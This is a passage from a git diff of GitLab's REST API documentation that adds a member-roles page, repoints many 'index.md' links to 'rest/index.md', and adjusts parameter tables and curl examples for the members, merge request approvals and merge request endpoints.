authenticated user | + +If successful, returns [`200`](rest/index.md#status-codes) and the following response attributes: + +| Attribute | Type | Description | +|:-------------------------|:---------|:----------------------| +| `[].id` | integer | The ID of the member role. | +| `[].group_id` | integer | The ID of the group that the member role belongs to. | +| `[].base_access_level` | integer | Base access level for member role. | +| `[].read_code` | boolean | Permission to read code. | + +Example request: + +```shell +curl --header "Authorization: Bearer <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/member_roles" +``` + +Example response: + +```json +[ + { + "id": 2, + "group_id": 84, + "base_access_level": 10, + "read_code": true + }, + { + "id": 3, + "group_id": 84, + "base_access_level": 10, + "read_code": false + } +] +``` + +## Add a member role to a group + +Adds a member role to a group. + +```plaintext +POST /groups/:id/member_roles +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `base_access_level` | integer | yes | Base access level for configured role. | +| `read_code` | boolean | no | Permission to read code. | + +If successful, returns [`201`](rest/index.md#status-codes) and the following attributes: + +| Attribute | Type | Description | +|:-------------------------|:---------|:----------------------| +| `id` | integer | The ID of the member role. | +| `group_id` | integer | The ID of the group that the member role belongs to. | +| `base_access_level` | integer | Base access level for member role. | +| `read_code` | boolean | Permission to read code. | + +Example request: + +```shell + curl --request POST --header "Content-Type: application/json" --header "Authorization: Bearer $YOUR_ACCESS_TOKEN" --data '{"base_access_level" : 10, "read_code" : true}' "https://example.gitlab.com/api/v4/groups/:id/member_roles" +``` + +Example response: + +```json +{ + "id": 3, + "group_id": 84, + "base_access_level": 10, + "read_code": true +} +``` + +### Remove member role of a group + +Deletes a member role of a group. + +```plaintext +DELETE /groups/:id/member_roles/:member_role_id +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `member_role_id` | integer | yes | The ID of the member role. | + +If successful, returns [`204`](rest/index.md#status-codes) and an empty response. + +Example request: + +```shell +curl --request DELETE --header "Content-Type: application/json" --header "Authorization: Bearer $YOUR_ACCESS_TOKEN" "https://example.gitlab.com/api/v4/groups/:group_id/member_roles/:member_role_id" +``` diff --git a/doc/api/members.md b/doc/api/members.md index 0d6fd6aabc4..950289effd2 100644 --- a/doc/api/members.md +++ b/doc/api/members.md @@ -29,8 +29,7 @@ In GitLab 14.8 and earlier, projects in personal namespaces have an `access_leve The `group_saml_identity` attribute is only visible to a group owner for [SSO enabled groups](../user/group/saml_sso/index.md). -The `email` attribute is only visible to group owners when the user was provisioned by the group. -Users are provisioned by the group when the account was created via [SCIM](../user/group/saml_sso/scim_setup.md) or by first sign-in with [SAML SSO for GitLab.com groups](../user/group/saml_sso/index.md). +The `email` attribute is only visible to group Owners for any [enterprise user](../user/enterprise_user/index.md). ## List all members of a group or project @@ -46,7 +45,7 @@ GET /projects/:id/members | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `query` | string | no | A query string to search for members | | `user_ids` | array of integers | no | Filter the results on the given user IDs | | `skip_users` | array of integers | no | Filter skipped users out of the results | @@ -132,7 +131,7 @@ GET /projects/:id/members/all | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `query` | string | no | A query string to search for members | | `user_ids` | array of integers | no | Filter the results on the given user IDs | | `show_seat_info` | boolean | no | Show seat information for users | @@ -226,7 +225,7 @@ GET /projects/:id/members/:user_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | ```shell @@ -273,7 +272,7 @@ GET /projects/:id/members/all/:user_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | ```shell @@ -315,7 +314,7 @@ Gets a list of group members that count as billable. The list includes members i This API endpoint works on top-level groups only. It does not work on subgroups. -This function takes [pagination](index.md#pagination) parameters `page` and `per_page` to restrict the list of users. +This function takes [pagination](rest/index.md#pagination) parameters `page` and `per_page` to restrict the list of users. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/262875) in GitLab 13.7, the `search` and `sort` parameters allow you to search for billable group members by name and sort the results, @@ -327,7 +326,7 @@ GET /groups/:id/billable_members | Attribute | Type | Required | Description | | ----------------------------- | --------------- | --------- |-------------------------------------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `search` | string | no | A query string to search for group members by name, username, or public email. | | `sort` | string | no | A query string containing parameters that specify the sort attribute and order. See supported values below. | @@ -412,7 +411,7 @@ This API endpoint works on top-level groups only. It does not work on subgroups. This API endpoint requires permission to administer memberships for the group. -This API endpoint takes [pagination](index.md#pagination) parameters `page` and `per_page` to restrict the list of memberships. +This API endpoint takes [pagination](rest/index.md#pagination) parameters `page` and `per_page` to restrict the list of memberships. ```plaintext GET /groups/:id/billable_members/:user_id/memberships @@ -420,7 +419,7 @@ GET /groups/:id/billable_members/:user_id/memberships | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the billable member | ```shell @@ -472,7 +471,7 @@ DELETE /groups/:id/billable_members/:user_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | ```shell @@ -492,7 +491,7 @@ PUT /groups/:id/members/:user_id/state | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `user_id` | integer | yes | The user ID of the member. | | `state` | string | yes | The new state for the user. State is either `awaiting` or `active`. | @@ -519,7 +518,7 @@ POST /projects/:id/members | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer/string | yes | The user ID of the new member or multiple IDs separated by commas | | `access_level` | integer | yes | A valid access level | | `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` | @@ -571,10 +570,11 @@ PUT /projects/:id/members/:user_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | | `access_level` | integer | yes | A valid access level | | `expires_at` | string | no | A date string in the format `YEAR-MONTH-DAY` | +| `member_role_id` | integer | no | The ID of a member role **(ULTIMATE)** | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id?access_level=40" @@ -620,11 +620,11 @@ POST /groups/:id/members/:user_id/override | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | ```shell -curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id/override" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/members/:user_id/override" ``` Example response: @@ -666,7 +666,7 @@ DELETE /groups/:id/members/:user_id/override | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | ```shell @@ -715,7 +715,7 @@ DELETE /projects/:id/members/:user_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `user_id` | integer | yes | The user ID of the member | | `skip_subresources` | boolean | false | Whether the deletion of direct memberships of the removed member in subgroups and projects should be skipped. Default is `false`. | | `unassign_issuables` | boolean | false | Whether the removed member should be unassigned from any issues or merge requests inside a given group or project. Default is `false`. | @@ -737,7 +737,7 @@ PUT /groups/:id/members/:member_id/approve | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the root group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the root group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `member_id` | integer | yes | The ID of the member | Example request: @@ -756,7 +756,7 @@ POST /groups/:id/members/approve_all | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the root group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the root group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | Example request: @@ -778,7 +778,7 @@ This API endpoint works on top-level groups only. It does not work on subgroups. This API endpoint requires permission to administer members for the group. -This API endpoint takes [pagination](index.md#pagination) parameters `page` and `per_page` to restrict the list of members. +This API endpoint takes [pagination](rest/index.md#pagination) parameters `page` and `per_page` to restrict the list of members. ```plaintext GET /groups/:id/pending_members @@ -786,7 +786,7 @@ GET /groups/:id/pending_members | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/pending_members" diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index 12f6ab318c9..0df2b90e64d 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -30,7 +30,7 @@ Supported attributes: | Attribute | Type | Required | Description | |-----------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | ```json { @@ -61,7 +61,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approvals_before_merge` (deprecated) | integer | **{dotted-circle}** No | How many approvals are required before a merge request can be merged. [Deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/11132) in GitLab 12.3. | | `disable_overriding_approvers_per_merge_request` | boolean | **{dotted-circle}** No | Allow or prevent overriding approvers per merge request. | | `merge_requests_author_approval` | boolean | **{dotted-circle}** No | Allow or prevent authors from self approving merge requests; `true` means authors can self approve. | @@ -96,13 +96,13 @@ You can request information about a project's approval rules using the following GET /projects/:id/approval_rules ``` -Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) parameters to restrict the list of approval rules. +Use the `page` and `per_page` [pagination](rest/index.md#offset-based-pagination) parameters to restrict the list of approval rules. Supported attributes: | Attribute | Type | Required | Description | |-----------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | ```json [ @@ -204,7 +204,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | ```json @@ -306,7 +306,7 @@ Supported attributes: | Attribute | Type | Required | Description | |-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | | `name` | string | **{check-circle}** Yes | The name of the approval rule. | | `applies_to_all_protected_branches` | boolean | **{dotted-circle}** No | Whether the rule is applied to all protected branches. If set to `true`, the value of `protected_branch_ids` is ignored. Default is `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/335316) in GitLab 15.3. | @@ -435,7 +435,7 @@ Supported attributes: | Attribute | Type | Required | Description | |-------------------------------------|-------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | | `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | | `name` | string | **{check-circle}** Yes | The name of the approval rule. | @@ -542,7 +542,7 @@ Supported attributes: | Attribute | Type | Required | Description | |--------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approval_rule_id` | integer | **{check-circle}** Yes | The ID of a approval rule. | ## Merge request-level MR approvals @@ -564,7 +564,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json @@ -617,7 +617,7 @@ Supported attributes: | Attribute | Type | Required | Description | |----------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approvals_required` | integer | **{check-circle}** Yes | Approvals required before MR can be merged. | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | @@ -658,7 +658,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json @@ -722,13 +722,13 @@ You can request information about a merge request's approval rules using the fol GET /projects/:id/merge_requests/:merge_request_iid/approval_rules ``` -Use the `page` and `per_page` [pagination](index.md#offset-based-pagination) parameters to restrict the list of approval rules. +Use the `page` and `per_page` [pagination](rest/index.md#offset-based-pagination) parameters to restrict the list of approval rules. Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | ```json @@ -805,7 +805,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | @@ -881,7 +881,7 @@ Supported attributes: | Attribute | Type | Required | Description | |----------------------------|-------------------|------------------------|------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding) | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding) | | `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | | `name` | string | **{check-circle}** Yes | The name of the approval rule. | @@ -971,7 +971,7 @@ Supported attributes: | Attribute | Type | Required | Description | |------------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approvals_required` | integer | **{check-circle}** Yes | The number of required approvals for this rule. | | `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | @@ -1056,7 +1056,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approval_rule_id` | integer | **{check-circle}** Yes | The ID of an approval rule. | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | @@ -1075,7 +1075,7 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `approval_password` | string | **{dotted-circle}** No | Current user's password. Required if [**Require user password to approve**](../user/project/merge_requests/approvals/settings.md#require-user-password-to-approve) is enabled in the project settings. | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of the merge request. | | `sha` | string | **{dotted-circle}** No | The `HEAD` of the merge request. | @@ -1138,5 +1138,5 @@ Supported attributes: | Attribute | Type | Required | Description | |---------------------|-------------------|------------------------|-------------------------------------------------------------------------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of a project](rest/index.md#namespaced-path-encoding). | | `merge_request_iid` | integer | **{check-circle}** Yes | The IID of a merge request. | diff --git a/doc/api/merge_request_context_commits.md b/doc/api/merge_request_context_commits.md index f5e22c469a3..756f54586db 100644 --- a/doc/api/merge_request_context_commits.md +++ b/doc/api/merge_request_context_commits.md @@ -19,7 +19,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|---------|----------|-------------| -| `id` | integer | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```json @@ -53,7 +53,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|---------|----------|-------------| -| `id` | integer | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | ```plaintext @@ -95,5 +95,5 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|--------------|----------|--------------| | `commits` | string array | **{check-circle}** Yes | The context commits' SHA. | -| `id` | integer | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `merge_request_iid` | integer | **{check-circle}** Yes | The internal ID of the merge request. | diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index 3ef5d3420c1..024593b2c6b 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -59,8 +59,8 @@ Supported attributes: | `my_reaction_emoji` | string | **{dotted-circle}** No | Returns merge requests reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `not` | Hash | **{dotted-circle}** No | Returns merge requests that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `reviewer_id`, `reviewer_username`, `my_reaction_emoji`. | | `order_by` | string | **{dotted-circle}** No | Returns requests ordered by `created_at`, `title`, or `updated_at` fields. Default is `created_at`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/331625) in GitLab 14.8.| -| `reviewer_id` | integer | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | -| `reviewer_username` | string | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | +| `reviewer_id` | integer | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/reviews/index.md) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | +| `reviewer_username` | string | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/reviews/index.md) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | | `scope` | string | **{dotted-circle}** No | Returns merge requests for the given scope: `created_by_me`, `assigned_to_me` or `all`. Defaults to `created_by_me`. | | `search` | string | **{dotted-circle}** No | Search merge requests against their `title` and `description`. | | `sort` | string | **{dotted-circle}** No | Returns requests sorted in `asc` or `desc` order. Default is `desc`. | @@ -245,7 +245,7 @@ Supported attributes: | Attribute | Type | Required | Description | | ------------------------------- | -------------- | -------- | ----------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `approved_by_ids` **(PREMIUM)** | integer array | **{dotted-circle}** No | Returns merge requests which have been approved by all the users with the given `id`, with a maximum of 5. `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | | `approver_ids` **(PREMIUM)** | integer array | **{dotted-circle}** No | Returns merge requests which have specified all the users with the given `id` as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | | `assignee_id` | integer | **{dotted-circle}** No | Returns merge requests assigned to the given user `id`. `None` returns unassigned merge requests. `Any` returns merge requests with an assignee. | @@ -260,8 +260,8 @@ Supported attributes: | `my_reaction_emoji` | string | **{dotted-circle}** No | Returns merge requests reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | | `not` | Hash | **{dotted-circle}** No | Returns merge requests that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, `assignee_username`, `reviewer_id`, `reviewer_username`, `my_reaction_emoji`. | | `order_by` | string | **{dotted-circle}** No | Returns requests ordered by `created_at`, `title` or `updated_at` fields. Default is `created_at`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/331625) in GitLab 14.8. | -| `reviewer_id` | integer | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | -| `reviewer_username` | string | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | +| `reviewer_id` | integer | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/reviews/index.md) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | +| `reviewer_username` | string | **{dotted-circle}** No | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/reviews/index.md) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49341) in GitLab 13.8. | | `scope` | string | **{dotted-circle}** No | Returns merge requests for the given scope: `created_by_me`, `assigned_to_me`, or `all`. | | `search` | string | **{dotted-circle}** No | Search merge requests against their `title` and `description`. | | `sort` | string | **{dotted-circle}** No | Returns requests sorted in `asc` or `desc` order. Default is `desc`. | @@ -434,7 +434,7 @@ Supported attributes: | Attribute | Type | Required | Description | | ------------------------------- | -------------- | -------- | ----------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `approved_by_ids` **(PREMIUM)** | integer array | **{dotted-circle}** No | Returns merge requests which have been approved by all the users with the given `id`, with a maximum of 5. `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | | `approved_by_usernames` **(PREMIUM)** | string array | **{dotted-circle}** No | Returns merge requests which have been approved by all the users with the given `username`, with a maximum of 5. `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | | `approver_ids` **(PREMIUM)** | integer array | **{dotted-circle}** No | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | @@ -449,8 +449,8 @@ Supported attributes: | `non_archived` | boolean | **{dotted-circle}** No | Returns merge requests from non archived projects only. Default is `true`. | | `not` | Hash | **{dotted-circle}** No | Returns merge requests that do not match the parameters supplied. Accepts: `labels`, `milestone`, `author_id`, `author_username`, `assignee_id`, 